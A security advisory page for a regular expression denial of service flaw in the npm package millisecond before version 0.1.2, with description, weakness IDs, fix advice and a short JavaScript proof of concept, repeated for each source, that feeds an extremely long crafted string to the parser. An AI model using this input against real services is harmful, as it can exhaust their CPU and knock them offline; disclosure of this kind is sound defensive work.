GHSA-m489-xr35-fjxr
Regular Expression Denial of Service in millisecond
GHSA-m489-xr35-fjxr is a vulnerability with no CVSS score yet in millisecond, published September 22, 2021. No source lists public exploit code. Fixed in millisecond 0.1.2.
- Severity
- UnratedNo CVSS score yet
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.1.2millisecond
Description
Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Recommendation
Update to version 0.1.2 or later.
Affected packages
| Package | Affected | Fixed |
|---|---|---|
millisecondnpm | before 0.1.2 | 0.1.2 |
What each source reports
GitHub AdvisoriesNo score
Regular Expression Denial of Service in millisecond
Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Recommendation
Update to version 0.1.2 or later.
- Record
GHSA-m489-xr35-fjxr- Weakness
- CWE-400, CWE-1333
- Updated
- 2026-11-02
OSVNo score
Regular Expression Denial of Service in millisecond
Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Proof of concept
var ms = require('millisecond');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Recommendation
Update to version 0.1.2 or later.
- Record
GHSA-m489-xr35-fjxr- Weakness
- CWE-1333, CWE-400
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.